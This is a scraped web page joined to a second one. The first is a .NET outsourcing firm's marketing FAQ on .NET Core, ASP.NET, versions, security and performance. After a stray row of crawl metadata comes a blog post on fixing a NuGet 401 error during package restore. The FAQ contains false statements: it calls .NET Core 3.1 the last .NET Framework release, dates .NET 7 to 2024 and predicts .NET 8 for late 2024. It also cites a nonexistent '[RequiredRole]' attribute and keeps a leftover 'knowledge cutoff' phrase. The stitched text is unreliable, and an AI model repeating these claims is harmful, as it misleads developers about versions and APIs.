One of the most significant and most well-known .NET developers outsourcing firms in India is GraffersID which has been serving several companies with skilled candidates.
By using specialized recruiting models, you may employ engineers at a reasonable price. You may expect delight, a welcoming atmosphere, and a safe procedure with the developers. To choose the best .NET development team, you can submit a complimentary quotation request at GraffersID.
Want to hire remote developers? Contact us to diversify your team with talent, helping you reach your goals.
What is the difference between .NET Core and .NET Framework?
.NET Core and .NET Framework are both software frameworks developed by Microsoft for building and running applications. While they share some similarities, there are important differences between the two.
Cross-Platform Support:
One of the key distinctions is platform compatibility. .NET Core is designed to be cross-platform, meaning it can run on Windows, macOS, and Linux. This makes it suitable for developing applications that can be deployed on various operating systems. On the other hand, the .NET Framework is primarily intended for Windows-based applications and does not provide native support for other platforms.
Open-Source Nature:
.NET Core is an open-source framework, with its development happening in collaboration with the community on GitHub. This openness allows developers to contribute to its development and gain more transparency in the framework. In contrast, the .NET Framework is primarily developed by Microsoft and has a more closed development process.
Modularity and Performance:
.NET Core is designed to be modular, allowing developers to include only the necessary components in their applications, which helps reduce the overall footprint. This modularity also contributes to improved performance and faster application startup times. .NET Framework, on the other hand, includes a larger set of libraries and dependencies, resulting in a larger footprint and slightly slower startup times.
Versioning:
.NET Core introduced a new versioning scheme that follows a more predictable and frequent release cycle. This means that new features and bug fixes are delivered more frequently, allowing developers to take advantage of the latest improvements. In contrast, the .NET Framework follows a more traditional versioning approach with larger releases that are tied to the Windows operating system versions.
API Compatibility:
While both frameworks provide a common base class library (BCL) and share many similar APIs, there are some differences between them. Some APIs are exclusive to either .NET Core or .NET Framework due to platform-specific requirements. Additionally, .NET Core introduced a new set of APIs called “CoreFX” to provide cross-platform functionality.
Future Development Focus:
Microsoft’s long-term development focus has shifted towards .NET Core and its evolution. .NET Core is considered the modern and preferred framework for new application development. Microsoft has even announced that .NET Core 3.1 is the last major release of the .NET Framework, and future investments will be in .NET Core and its successor, .NET 5, and later versions.
What is the difference between the .NET Framework and the ASP.NET framework?
The .NET Framework and ASP.NET are related but distinct frameworks within the Microsoft ecosystem. Here’s a breakdown of their differences:
Purpose and Focus:
.NET Framework: The .NET Framework is a comprehensive platform for developing and running Windows applications. It provides a runtime environment, libraries, and tools for building various types of applications, including desktop applications, web applications, and services.
ASP.NET: ASP.NET is a web development framework built on top of the .NET Framework. It specifically focuses on building web applications and services, including websites, web APIs, and web services.
Application Types:
.NET Framework: The .NET Framework supports a wide range of application types, including desktop applications (Windows Forms and WPF), web applications (ASP.NET Web Forms and MVC), console applications, and services (Windows services and WCF services).
ASP.NET: ASP.NET primarily targets web application development. It provides features and components specifically designed for building web-based applications and services.
Web Development Paradigm:
.NET Framework: The .NET Framework supports various web development paradigms, such as ASP.NET Web Forms, ASP.NET MVC (Model-View-Controller), and ASP.NET Web API. It also includes support for client-side scripting technologies like JavaScript.
ASP.NET: ASP.NET encompasses multiple frameworks and technologies for web development, including ASP.NET Web Forms, ASP.NET MVC, ASP.NET Web API, and ASP.NET Core. These frameworks offer different approaches to building web applications, with ASP.NET Core being the latest and most modern version.
Compatibility and Support:
.NET Framework: The .NET Framework has been around for many years and is primarily targeted at Windows-based applications. It has a large ecosystem of libraries, components, and third-party tools built around it. However, it is not cross-platform and is limited to Windows operating systems.
ASP.NET: ASP.NET runs on top of the .NET Framework and inherits its compatibility and support characteristics. While ASP.NET applications can be hosted on Windows servers, they can also run on Linux and macOS using Mono, an open-source implementation of the .NET Framework.
Evolution and Future:
.NET Framework: The .NET Framework has been widely used for many years and is considered a mature technology. However, Microsoft’s focus has shifted towards newer frameworks, such as ASP.NET Core and .NET 5 and above. The .NET Framework will receive only critical bug fixes and security updates, with no major new features planned.
ASP.NET: ASP.NET has evolved with time, and ASP.NET Core is its successor. ASP.NET Core is a cross-platform, open-source framework that is part of the newer .NET platform called “.NET 5” and later “.NET 6” (at the time of my knowledge cutoff). ASP.NET Core offers improved performance, modularity, and modern development patterns compared to earlier versions of ASP.NET.
Popular Applications Built with .NET
.NET has been utilized to develop a diverse array of applications across different industries. Some of the most popular types of applications that can be developed using .NET include:
2.1. Web Applications
ASP.NET, a component of the .NET Framework, is widely used for building dynamic and responsive web applications. It provides robust features for web development, making it suitable for both small websites and large-scale web applications.
2.2. Desktop Applications
Windows Forms and WPF (Windows Presentation Foundation) are .NET technologies that enable the creation of desktop applications. These applications are known for their rich user interfaces and seamless integration with the Windows operating system.
2.3. Mobile Applications
Xamarin, a cross-platform mobile app development framework, is powered by .NET. It allows developers to build native mobile apps for iOS and Android using C#. This approach saves time and effort by sharing code across platforms.
2.4. Cloud-Based Applications
Microsoft Azure, a cloud computing platform, offers extensive support for .NET. Developers can build scalable and reliable cloud-based applications, leveraging Azure’s services and infrastructure.
2.5. Gaming Applications
Game developers can use .NET to create games for various platforms, including PCs, consoles, and mobile devices. Unity3D, a popular game engine, supports C# scripting, making it a favorite among game developers.
Best Practices for .NET Development
To ensure the success and maintainability of your .NET projects, it’s crucial to follow best practices. Let’s explore some of the key best practices for .NET development.
Choose the Right .NET Version
Microsoft regularly updates the .NET framework, releasing new versions with improvements and features. It’s essential to select the appropriate version of .NET for your project. Consider factors like compatibility, performance, and the availability of required libraries. Staying up-to-date with the latest version can also provide security and performance benefits.
Follow SOLID Principles
The SOLID principles (Single Responsibility, Open/Closed, Liskov Substitution, Interface Segregation, and Dependency Inversion) are fundamental principles of object-oriented design. Adhering to these principles promotes clean, maintainable, and scalable code. They encourage separation of concerns and reduce code complexity.
Use Dependency Injection
Dependency Injection (DI) is a technique that promotes loose coupling between components in your application. It allows you to inject dependencies, such as services or objects, into classes rather than hard-coding them. This makes your code more testable, flexible, and easier to maintain.
Employ Design Patterns
Design patterns, such as Factory, Singleton, and Repository, provide proven solutions to common software design problems. Leveraging these patterns can improve code organization and maintainability. .NET developers can benefit from design pattern libraries and frameworks like Entity Framework for the Repository pattern.
Optimize Database Access
Efficient database access is crucial for the performance of .NET applications. Use an Object-Relational Mapping (ORM) framework like Entity Framework Core to abstract database interactions. Employ techniques like lazy loading, batching, and caching to minimize database round trips and improve query performance.
Write Clean and Readable Code
Maintainable code is essential for long-term project success. Write clean, well-documented, and readable code. Use meaningful variable and function names, adhere to consistent coding conventions, and comment your code to make it easier for other developers to understand and maintain.
Implement Error Handling
Effective error handling is critical to provide a smooth user experience and diagnose issues in production. Use structured exception handling in your code and log errors properly. Implement custom error messages and consider using logging libraries like Serilog or NLog to track application errors.
Secure Your Application
Security should be a top priority in .NET development. Protect your application against common threats like SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF). Follow security best practices, validate user inputs, and use encryption for sensitive data.
Use Asynchronous Programming
Asynchronous programming is essential for building responsive and scalable .NET applications. Utilize asynchronous methods and the async/await keywords to improve the responsiveness of your applications, especially in web and mobile scenarios.
Conduct Code Reviews
Code reviews are an excellent way to ensure code quality and knowledge sharing among team members. Regularly schedule code reviews to identify issues, share best practices, and maintain a consistent codebase.
Implement Continuous Integration and Deployment (CI/CD)
CI/CD pipelines automate the build, testing, and deployment processes, reducing human error and ensuring that your application is always in a deployable state. Popular CI/CD tools like Azure DevOps and Jenkins integrate seamlessly with .NET projects.
What are the different versions of the .NET Framework?
he framework offers a vast class library and supports multiple programming languages, making it versatile for developers.
Evolution of .NET Framework
The .NET Framework has undergone significant transformations and updates over the years. Let’s explore its evolution:
.NET Framework 1.0
Released in February 2002, it was the initial version of the framework.
Supported ASP.NET for web development.
Limited in features compared to later versions.
.NET Framework 1.1
Released in April 2003, it provided bug fixes and improvements.
Enhanced support for web applications.
.NET Framework 2.0
Released in November 2005, it introduced several new features.
Included generics, partial classes, and 64-bit support.
.NET Framework 3.0
Released in November 2006, it was more of an extension to 2.0.
Added Windows Presentation Foundation (WPF), Windows Communication Foundation (WCF), and Windows Workflow Foundation (WF).
.NET Framework 3.5
Released in November 2007, it built upon 3.0.
Introduced Language Integrated Query (LINQ) and enhanced ASP.NET features.
.NET Framework 4.0
Released in April 2010, it brought significant improvements.
Included the Dynamic Language Runtime (DLR) and parallel programming libraries.
.NET Framework 4.5
Released in August 2012, it further refined the framework.
Introduced asynchronous programming with the ‘async’ and ‘await’ keywords.
.NET Framework 4.6
Released in July 2015, it focused on stability and performance improvements.
Introduced the RyuJIT compiler.
.NET Core 1.0
Released in June 2016, it marked a shift from the traditional framework.
Cross-platform support and open-source development.
.NET Core 2.0 and Beyond
Subsequent versions, including .NET Core 2.0, 2.1, and 3.0, brought more features and enhancements.
These versions continued to embrace cross-platform development.
.NET 5 and .NET 6
.NET 5, released in November 2020, was a significant step towards unifying the .NET platform.
.NET 6, released in November 2021, continued this effort, bringing more features and improved performance.
Can You use C# with the .NET Framework?
. C# and the .NET Framework have long been stalwarts in the industry, offering a robust ecosystem for building a wide range of applications. In this comprehensive guide, we will delve into the compatibility of C# with the .NET Framework, shedding light on its advantages and use cases.
What is C#?
C# (pronounced as “C sharp”) is a versatile and modern programming language developed by Microsoft. It is known for its simplicity, efficiency, and ease of use. C# is often chosen by developers for building various types of applications, including web, desktop, mobile, and gaming applications.
What is the .NET Framework?
The .NET Framework is a software development platform created by Microsoft. It provides a comprehensive and consistent programming model for building Windows applications. The framework includes a vast class library and support for various programming languages, including C#. It simplifies the development process by offering reusable code components and runtime services.
Compatibility of C# with .NET Framework
Are C# and .NET Framework Compatible?
Yes, C# is fully compatible with the .NET Framework. C# is one of the primary programming languages designed for the .NET ecosystem. This compatibility ensures that developers can seamlessly write, compile, and run C# code within the .NET Framework.
Versions of C# and .NET Framework
It’s important to note that both C# and the .NET Framework have evolved over the years, with new versions and updates being released. For example:
C# has seen multiple versions, with C# 7, C# 8, and C# 9 being some of the recent iterations.
The .NET Framework has transitioned into .NET Core and eventually into .NET 5, .NET 6, and beyond.
However, despite these changes, backward compatibility is generally maintained. Developers can often migrate their code to newer versions of C# and the .NET Framework with relative ease.
Benefits of Using C# with .NET Framework
Seamless Integration
One of the standout advantages of using C# with the .NET Framework is the seamless integration it offers. C# code can directly access the extensive libraries and functionalities provided by the .NET Framework, simplifying development and saving valuable time.
Cross-Platform Development
While the .NET Framework initially focused on Windows applications, the advent of .NET Core and its evolution into .NET 5 and .NET 6 introduced cross-platform capabilities. This means that C# developers can now target multiple platforms, including Windows, Linux, and macOS, using a single codebase.
Strong Type System
C# boasts a strong and static type system, which helps catch errors during compile-time rather than runtime. This results in more reliable and robust applications.
Enhanced Productivity
The combination of C# and the .NET Framework promotes developer productivity through features like IntelliSense and code reusability. Developers can write cleaner, more maintainable code with fewer lines, reducing development time and effort.
Security
The .NET Framework comes equipped with robust security features, making it a secure choice for application development. C# applications benefit from these security measures, reducing vulnerabilities and potential threats.
Use Cases for C# and .NET Framework
Web Development
C# and the .NET Framework are widely used for building web applications. ASP.NET, a web framework within the .NET ecosystem, empowers developers to create dynamic and responsive web applications with ease.
Desktop Applications
Windows desktop applications can be efficiently developed using C# and the .NET Framework. The Windows Presentation Foundation (WPF) and Windows Forms provide rich graphical interfaces for desktop software.
Mobile Applications
C# can be used for developing cross-platform mobile applications using technologies like Xamarin, which allows developers to share code between iOS and Android platforms.
Game Development
The Unity game engine supports C#, making it a popular choice for game developers. C# offers high performance and a vast community of game development enthusiasts.
Cloud and Microservices
With the rise of cloud computing and microservices architecture, C# and the .NET Framework offer tools and libraries for building scalable and efficient cloud-based applications.
Data Science and Machine Learning
C# is increasingly used in the field of data science and machine learning, with libraries like ML.NET providing valuable resources for developers in these domains.
What is ASP.NET and how does it relate to the .NET Framework?
ASP.NET is a web application framework that facilitates the creation of dynamic, data-driven websites and web applications. It empowers developers to build feature-rich, interactive websites with capabilities such as user authentication, data access, and seamless communication with databases.
The Symbiotic Connection
ASP.NET and the .NET Framework share a symbiotic relationship. ASP.NET is an integral part of the .NET Framework, specifically tailored for web development. When you develop web applications using ASP.NET, you’re essentially harnessing the capabilities of the .NET Framework to create dynamic and robust web solutions.
This integration ensures that ASP.NET applications can seamlessly leverage the vast library of classes, services, and functionalities provided by the .NET Framework, making it a versatile and powerful choice for web developers.
Key Features of ASP.NET
To understand the significance of ASP.NET, let’s delve into some of its key features:
1. Server-Side Scripting:
ASP.NET allows for server-side scripting, enabling developers to execute code on the server before delivering the final HTML to the client’s browser. This ensures security and scalability.
2. Rich Controls:
It offers a wide range of rich server controls that simplify complex tasks, such as data validation, user authentication, and state management.
3. Enhanced Security:
ASP.NET is equipped with robust security features, including authentication, authorization, and encryption, to safeguard web applications from threats.
4. Efficient Caching:
It provides caching mechanisms to enhance application performance by storing frequently accessed data, reducing server load.
How to install .NET Framework on Windows?
Before you begin the installation, it’s essential to ensure that your system meets the necessary prerequisites. Check the system requirements for the specific version of the .NET Framework you intend to install. As of the last update, the latest version is .NET 6.
Step 1: Check Existing .NET Framework Versions:
Before proceeding with the installation, check if you already have a version of the .NET Framework installed on your system. You can do this by navigating to the “Control Panel” and selecting “Programs and Features.” Look for any entries related to the .NET Framework.
Step 2: Download the .NET Framework Installer:
Visit the official Microsoft website or use a reliable source to download the .NET Framework installer. Ensure that you download the version compatible with your operating system. As of the last update, you can find the installer for .NET 6 on the official .NET download page.
Step 3: Run the Installer:
Locate the downloaded installer file and double-click on it to run the installation wizard. Follow the on-screen instructions to proceed through the installation process. The wizard will guide you through selecting the installation options, such as the installation location and components to be installed.
Step 4: Complete the Installation:
Once you’ve configured the installation options, click the “Install” button to initiate the installation process. The installer will now download and install the necessary files for the .NET Framework on your Windows system. This may take some time, depending on your internet connection speed and system performance.
Step 5: Verify the Installation:
After the installation is complete, it’s essential to verify that the .NET Framework has been successfully installed. You can do this by running a simple command in the command prompt or checking the installed programs list in the “Control Panel.”
Congratulations! You have successfully installed the .NET Framework on your Windows system. Having the .NET Framework in place opens the door to running and developing a wide range of applications.
New tools and technologies will be integrated into the .NET ecosystem in 2024.
2024 welcomed the release of .NET 7, bringing with it some highly anticipated updates that modernize .NET development. Some key highlights include:
Blazor Hybrid Applications – Blazor now allows building mobile and desktop apps using .NET and web tech like HTML and CSS. This eliminates the need for platform-specific UI frameworks. Apps can access native APIs and still retain the web standards that developers love.
Minimal APIs – The new minimal APIs feature streamlines setting up REST APIs. It’s as simple as defining endpoint routes and writing handler methods, without all the boilerplate code.
Hot Reload Updates – Hot Reload now supports editing Razor Pages and Views, along with Blazor components without needing a full rebuild and application restart. This speeds up development times.
Completion Improvements – IntelliSense and auto-completion have been supercharged to make developers more productive with smart suggestions.
Microservice Architecture Trends
Microservice architecture has become prominent for designing scalable distributed systems. .NET microservices can now be built using .NET MAUI to target multiple platforms from a single cross-platform UI framework. Or minimal APIs make it simple to spin up microservices using just C# code.
The latest Azure offerings also assist with microservice deployments by handling provisioning, load balancing, zero-downtime upgrades, and more – all automated. Container support is first-class as well for those opting for Docker containers versus VMs.
AI Dev Tools Grow
Microsoft and others launched several AI developer tools that integrate nicely with .NET ecosystems:
GitHub Copilot – This AI pair programmer suggests whole lines and blocks of code inline as developers type. It works for C# and understands real-world APIs.
Azure OpenAI Service – Tap into powerful AI models like GPT-3.5 via Azure cognitive services through C# with no machine learning expertise required.
AI Code Reviews – Services can now analyze code quality, suggest improvements, and even fix issues automatically as part of Pull Requests.
The launch of tools like these makes AI approachable and practical for everyday software projects.
In summary, major advancements continue modernizing .NET app development with new frameworks and services for building robust, scalable, and intelligent apps more efficiently. Exciting times lie ahead as the platform continues evolving rapidly!
The Future of .NET in 2024 – What’s Coming Next
.NET has come a long way since its initial release in 2002. In 2023, we saw several major updates with .NET 7, .NET MAUI, and enhanced web development capabilities. As we look ahead to 2024 and beyond, the .NET team at Microsoft has an ambitious roadmap planned to further modernize the framework and ecosystem. Here is an overview of some of the key things we can expect from .NET over the next year.
.NET 8
In late 2024, we anticipate seeing the next major release – .NET 8. This will bring continued performance improvements, new APIs, and language features. Some areas that may get attention include adding native support for building cloud-native applications, enhancements for AI and machine learning workloads, improved compiler optimizations, and updates to popular libraries like Entity Framework. The goal is to ensure .NET remains a high-productivity, high-performance framework for building all types of applications.
Unified .NET for Mobile Development
One current pain point for .NET developers is the fragmented story between Xamarin, MAUI, and Unity when it comes to building mobile and desktop apps. In 2024, Microsoft plans to deliver a true unified .NET mobile development platform that makes it simpler to leverage .NET skills to target iOS, Android, macOS, and Windows with the same codebase and tools. This unified platform will be cloud-connected for robust deployment and management capabilities.
Enhanced Web Capabilities
ASP.NET Core will continue evolving in 2024 with additional features for building sophisticated modern web applications. Planned updates include faster cold-start times, simplified authentication and authorization, CORS request handling, and streaming HTTP responses. There are also plans to enhance integration with popular JavaScript frameworks like React, Angular, and Vue via additional project templates and tooling.
Continued Growth of .NET MAUI
After the first production-ready release in 2022, Microsoft will continue expanding the capabilities of .NET MAUI in 2024. The goal is to establish .NET MAUI as the de facto framework for delivering multi-platform native mobile and desktop apps with C# and XAML. In 2024, we can expect to see improved performance, expanded controls, and more flexible customization options. There may also be early previews of using .NET MAUI for building web experiences.
Investment in Expanding the .NET Ecosystem
A key area of investment will be continuing to expand the .NET open-source ecosystem on GitHub. Microsoft hopes to increase community contributions and make .NET the framework of choice for more developers globally. There are plans to improve IDE extensions, add data connectors, integrate with low-code platforms, and more.
The 2024 .NET roadmap demonstrates Microsoft’s commitment to keeping .NET at the forefront as a innovative, cross-platform development framework. With its rapid release cadence, strong language features, and expanding ecosystem, .NET is well-positioned to empower developers to build robust, secure and high-quality applications for years to come.
Security Practices and Features in .NET
.NET provides developers with a robust framework and multiple tools to build secure applications. However, security must be baked into the software development lifecycle right from the design phase. In this post, we will explore some of the top practices and built-in capabilities that .NET developers should leverage to enhance security.
Authentication and Authorization
The very first step to securing an app is appropriately authenticating users and managing authorization to resources. .NET simplifies both these aspects in multiple ways:
ASP.NET Identity: This is a membership system that handles user login, registration, profile management, etc. out-of-the-box. It supports external OAuth providers like Facebook and Google.
Role-based authorization: Attribute decorators like [Authorize] and [RequiredRole] allow restricting access to controllers and actions based on user roles.
Claims-based authorization: Claims in .NET allow fine-grained authorization by attaching user identity information to access tokens.
Managing Sensitive Data
The data layer deserves special attention from a security perspective. Here are smart techniques to implement:
Encrypt sensitive fields in the database using SQL Server encryption or third-party libraries.
Use Azure Key Vault to store secrets, keys and certificates without hardcoding them.
Hash passwords using libraries like BCrypt before storing them in database. Salted hashing with multiple iterations is recommended.
Parameterize SQL queries to prevent SQL injection attacks.
Securing Communication Channels
Locking down communication channels is critical. .NET equips developers with capabilities like:
HTTPS: Use TLS 1.2 / TLS 1.3 encryption for all communications.
Certificate validation for HTTPS: Prevent man-in-the-middle attacks by implementing proper certificate validation.
Use cryptography libraries for encryption, certificates, hashing, etc.
Built-in Defenses
Let’s look at some layered defenses that can be weaved into .NET apps:
Input validation using data annotation attributes to prevent XSS, SQL injection etc.
Cross Site Request Forgery (CSRF) prevention using ValidateAntiForgeryToken attribute
Use ASP.NET request validation feature to block requests with malicious inputs
Sanitize all outputs before rendering to prevent XSS attacks
There are many more best practices like threat modeling, periodic security reviews, fuzzing etc. that complete the secure development regimen. .NET equips developers with the tools; what we need is the discipline to apply them meticulously.
Is the .net framework good for mobile applications?
the .NET Framework has traditionally been more associated with desktop and web applications rather than mobile development. However, Microsoft has introduced Xamarin, which is a cross-platform mobile development framework that allows you to build native mobile applications using C# and the .NET framework.
While the traditional .NET Framework may not be the go-to choice for mobile development, Xamarin, and the emerging MAUI framework showcase Microsoft’s commitment to making .NET a viable option for building cross-platform mobile applications.
How do you integrate third-party libraries and APIs with my .NET project?
Whether you’re working on a web application, a desktop software, or a mobile app, integrating external resources can streamline development and add powerful features. This guide will walk you through the process of integrating third-party libraries and APIs seamlessly into your .NET projects.
Understanding Third-Party Libraries and APIs
Before diving into the integration process, let’s clarify what third-party libraries and APIs are:
Third-Party Libraries: These are pre-built packages or assemblies that contain reusable code and functionality. They are created by developers outside your project and can be integrated to extend the capabilities of your application without reinventing the wheel.
APIs (Application Programming Interfaces): APIs define how software components should interact. They allow your application to communicate with external services, access data, or perform specific actions. APIs are often provided by third-party services like social media platforms, payment gateways, or cloud services.
Choosing the Right Libraries and APIs
The first step is to identify the libraries and APIs that best suit your project’s requirements. Consider factors such as functionality, compatibility with your .NET version, licensing, documentation quality, community support, and security aspects.
Here are some popular sources for finding third-party libraries and APIs for .NET:
NuGet: The official package manager for .NET, NuGet hosts a vast repository of libraries and packages that you can easily integrate into your projects using Visual Studio or the .NET CLI.
GitHub: Explore repositories on GitHub to find open-source libraries and APIs that align with your project’s needs. Pay attention to the repository’s activity, issues, and community engagement.
Official Documentation: Many services and frameworks provide official documentation and SDKs for integrating their APIs with .NET applications. Always refer to these resources for accurate integration guidelines.
Integrating Third-Party Libraries
Using NuGet Packages
Open Visual Studio: Launch Visual Studio and open your .NET project.
Manage NuGet Packages: Right-click on your project in Solution Explorer, select “Manage NuGet Packages,” and navigate to the “Browse” tab.
Search and Install: Enter the name of the library or functionality you need in the search bar. Once you find the desired package, click “Install” to add it to your project.
Import and Use: After installation, import the library namespaces in your code files (using statement in C#) and start using the library’s classes and methods.
Manual Integration
If the library is not available as a NuGet package or requires manual setup:
Download the Library: Visit the library’s official website or GitHub repository and download the necessary files (DLLs, source code, dependencies).
Add References: In Visual Studio, right-click on your project in Solution Explorer, choose “Add” > “Reference,” and browse to select the downloaded library files.
Configure Dependencies: If the library has dependencies, ensure they are also added to your project. This may involve downloading and referencing additional libraries.
Initialize and Use: Follow the library’s documentation to initialize its components and use its features in your code.
Integrating APIs
Integrating APIs into your .NET project involves several steps:
API Registration: Sign up or log in to the provider’s developer portal to obtain API credentials (API key, secret, access tokens).
API Documentation: Refer to the API documentation for endpoints, request methods (GET, POST, etc.), parameters, authentication methods, and response formats (JSON, XML).
API Client Library: If the API provides a .NET client library or SDK, install it via NuGet or download it from the provider’s website.
Authentication: Use your API credentials to authenticate requests. This may involve adding headers, tokens, or other authentication mechanisms to your HTTP requests.
API Calls: Write code to make API calls using libraries like HttpClient in .NET Core or WebClient in .NET Framework. Handle responses, errors, and data parsing according to the API specifications.
Best Practices and Considerations
Version Compatibility: Ensure that the libraries and APIs you integrate are compatible with your .NET framework or runtime version to avoid compatibility issues.
Error Handling: Implement robust error handling mechanisms to handle exceptions, network errors, and API response errors gracefully.
Security: Follow security best practices such as secure storage of API credentials, HTTPS usage for API calls, input validation, and data encryption where necessary.
Testing: Thoroughly test the integration of third-party libraries and APIs in different environments (development, staging, production) to identify and fix any issues early.
What are the best practices for optimizing performance in .NET applications?
Performance optimization is a crucial aspect of developing robust and efficient .NET applications. Whether you’re working on a web application, desktop software, or a mobile app, ensuring optimal performance can significantly enhance user experience and overall satisfaction. In this blog post, we’ll explore some of the best practices for optimizing performance in .NET applications.
1. Use Efficient Data Structures and Algorithms
Choosing the right data structures and algorithms can have a profound impact on the performance of your .NET application. For example, using HashSet<T> instead of List<T> for collections where duplicate elements are not allowed can lead to faster lookup times. Similarly, opting for algorithms with lower time complexity (e.g., O(log n) instead of O(n^2)) can improve overall performance, especially when dealing with large datasets.
2. Minimize Database Roundtrips
Database access is often a bottleneck in application performance. Minimize database roundtrips by using techniques like batching multiple queries into a single request, using stored procedures for frequently executed operations, and leveraging caching mechanisms to reduce repetitive database calls. Entity Framework Core’s Include method and lazy loading can also be optimized to fetch only necessary data, thereby reducing overhead.
3. Implement Asynchronous Programming
Asynchronous programming is a powerful technique to improve responsiveness and scalability in .NET applications. Use async and await keywords along with Task-based asynchronous patterns (TAP) to perform I/O-bound operations asynchronously. This prevents blocking the main thread and allows the application to handle more concurrent requests efficiently.
4. Optimize Memory Usage
Excessive memory usage can lead to performance degradation and even cause out-of-memory exceptions. Monitor and optimize memory usage by identifying and eliminating memory leaks, disposing of unmanaged resources properly (e.g., using IDisposable and finalizers), and implementing efficient data caching strategies (e.g., using MemoryCache or distributed caching solutions like Redis).
5. Profile and Benchmark Your Code
Profiling and benchmarking are essential tools for identifying performance bottlenecks and measuring improvements. Use profilers like JetBrains dotTrace, Microsoft’s PerfView, or Visual Studio’s Performance Profiler to analyze CPU, memory, and I/O usage. Benchmarking libraries like BenchmarkDotNet can help compare the performance of different code implementations and identify areas for optimization.
6. Enable Just-In-Time (JIT) Compilation Optimization
.NET runtime provides Just-In-Time compilation to convert IL (Intermediate Language) code into native machine code. Enable JIT compilation optimizations by targeting the appropriate CPU architecture (e.g., x86 or x64), using compiler directives like MethodImplOptions.AggressiveInlining for performance-critical methods, and optimizing hot paths in your codebase.
7. Utilize Caching and Data Compression
Caching frequently accessed data in memory can reduce latency and improve response times. Use caching mechanisms like in-process caching (e.g., using MemoryCache) or distributed caching (e.g., Redis or Azure Cache for Redis) based on your application’s scalability requirements. Additionally, consider using data compression techniques (e.g., gzip or Brotli) for transmitting large payloads over the network, reducing bandwidth consumption and improving performance.
8. Leverage Parallelism and Multithreading
Harness the power of parallelism and multithreading to execute CPU-bound tasks concurrently and utilize available CPU cores efficiently. Use Parallel class, Task Parallel Library (TPL), or asynchronous programming models to parallelize computations, avoid thread contention, and improve overall throughput in multi-core environments.
Frequently Asked Questions
Q: Can I use the .NET Framework to develop web applications?
A: Yes, the .NET Framework supports web application development. It provides ASP.NET, a web development framework built on top of the .NET Framework. ASP.NET enables developers to build robust, scalable, and secure web applications using various programming languages, such as C# or VB.NET.
Q: Is the .NET Framework still actively supported by Microsoft?
A: While the .NET Framework is still supported by Microsoft, the company is putting more emphasis on its successor, .NET Core. .NET Core offers improved performance, cross-platform support, and a more modular architecture. It is recommended to consider using .NET Core for new projects, although the .NET Framework will continue to receive updates and support.
Q: Can I migrate my existing .NET Framework applications to .NET Core?
A: Yes, it is possible to migrate existing .NET Framework applications to .NET Core. However, the migration process may require some modifications to the code and libraries, as not all features and APIs are directly compatible. Microsoft provides tools and guidance to assist with the migration process.
Q: What is the future of the .NET Framework?
A: The future of the .NET Framework lies in .NET Core and its evolution. .NET Core is the preferred choice for new development and will continue to receive updates and advancements. Microsoft has also introduced a unified platform called .NET 5 and onwards, merging the best of .NET Framework and .NET Core. It is recommended to follow the updates from Microsoft to stay informed about the latest developments.
Get In Touch With Us
[quform id=”1″ name=”Contact Form Footer”]
|
|||||
8582
|
dbpedia
|
0
| 85
|
https://zimmergren.net/nuget-error-unable-load-service-index-for-source-unauthorized/
|
en
|
Solving "Unable to load the service index for source"
|
[
"https://certify.alexametrics.com/atrk.gif?account=S2qMw1zDGU20kU",
"https://zimmergren.net/content/images/2019/02/blog-logo-2.png",
"https://zimmergren.net/content/images/size/w346/2021/04/nugeterror.png 346w, /content/images/size/w692/2021/04/nugeterror.png 692w, /content/images/size/w1384/2021/04/nugeterror.png 1384w",
"https://zimmergren.net/content/images/size/w128/2022/05/-value-1-.jpg",
"https://zimmergren.net/content/images/2021/06/vscodefix.png",
"https://zimmergren.net/content/images/size/w320/2022/05/-value-1-.jpg",
"https://zimmergren.net/assets/images/tobias-2021-round.jpg?v=836e954e24",
"https://zimmergren.net/content/images/size/w346/2024/01/header-productive-not-busy.png",
"https://zimmergren.net/content/images/size/w346/2023/10/header-cybersecurity-frameworks.jpg",
"https://zimmergren.net/content/images/size/w346/2023/10/header-cisa-nsa-cybersecurity-misconfigurations-top-10.jpg"
] |
[] |
[] |
[
""
] | null |
[
"Tobias Zimmergren"
] |
2021-04-12T14:46:48+00:00
|
Running a package restore in dotnet should be easy. Sometimes, with NuGet, we bump into problems. Here's a workaround when we get Unauthorized (401).
|
en
|
Tobias Zimmergren on Tech
|
https://zimmergren.net/nuget-error-unable-load-service-index-for-source-unauthorized/
|
Setting up an entirely new project and getting things off the ground is usually the quickest part of our development process for a project. However, not its not uncommon to stumble into various issues with NuGet, if you're a dotnet dev.
Something I've ran into several times is when running dotnet restore or dotnet add package <name>, the tool throws and error with Unauthorized. Similar to the below message.
dotnet restore Determining projects to restore... All projects are up-to-date for restore. DragonFruit -v 0.3.0-alpha.20574.7 Determining projects to restore... Writing C:\Users\tobia\AppData\Local\Temp\tmpE602.tmpinfo : Adding PackageReference for package 'System.CommandLine.DragonFruit' into project 'C:\code\zimmergren.cli\zimmergren.cli.csproj'. info : Restoring packages for C:\code\zimmergren.cli\zimmergren.cli.csproj... info : GET https://api.nuget.org/v3-flatcontainer/system.commandline.dragonfruit/index.json error: Unable to load the service index for source https://pkgs.dev.azure.com/redacted_org/_packaging/Core/nuget/v3/index.json. error: Response status code does not indicate success: 401 (Unauthorized).
Notice how we receive an Unauthorized 401 error on the redacted_org url, which is a private repository that I have access to.
I don't want to pull anything from a private repo for my new console app. However, the package restore process decides it needs to check the access to the private/protected repository regardless.
Solution 1. Use a NuGet config file.
To work around this, I am creating a new nuget.config file and populating it with the basic content it needs for my project to work.
Should you encounter a more long-term solution to this, please drop a comment or email to share, and I'll be happy to update so more devs can avoid these issues.
Here's the basic nuget.config file that I'm adding to the root of my project:
<?xml version="1.0" encoding="utf-8"?> <configuration> <packageSources> <clear /> <add key="NuGet Public" value="https://api.nuget.org/v3/index.json" /> </packageSources> </configuration>
Immediately after the change, the add and restore commands works, and my development continues.
Solution 2. Verify that your Personal Access Token hasn't expired
If you are pulling packages from private repositories, or you want to solve the problem independently of your specific project, you could look into the tokens you use for the private repositories.
In Azure DevOps, we have something called Personal Access Tokens. In the case of expired tokens, you may also encounter the aforementioned error.
As commented by Tom Brown, refreshing or setting up a new PAT (Personal Access Token) can also be a way to achieve success. Thanks for sharing, Tom.
When you've got a new/regenerated token, you can tell NuGet to make use of the username + token to get access to your private NuGet repository.
nuget.exe sources add -Name "Tobias Private Feed" -Source "https://your-private-repository.url" -username irrelevant -password YOUR_TOKEN_VALUE_HERE
Solution 3. Run dotnet restore in Interactive mode
User db commented that they solved it using the dotnet restore --interactive command when they were using Visual Studio Code. Perhaps this is another way to work around the issue.
Try running the restore like this:
dotnet restore --interactive
If this solution works for you, feel free to add a comment letting everyone know 🙏
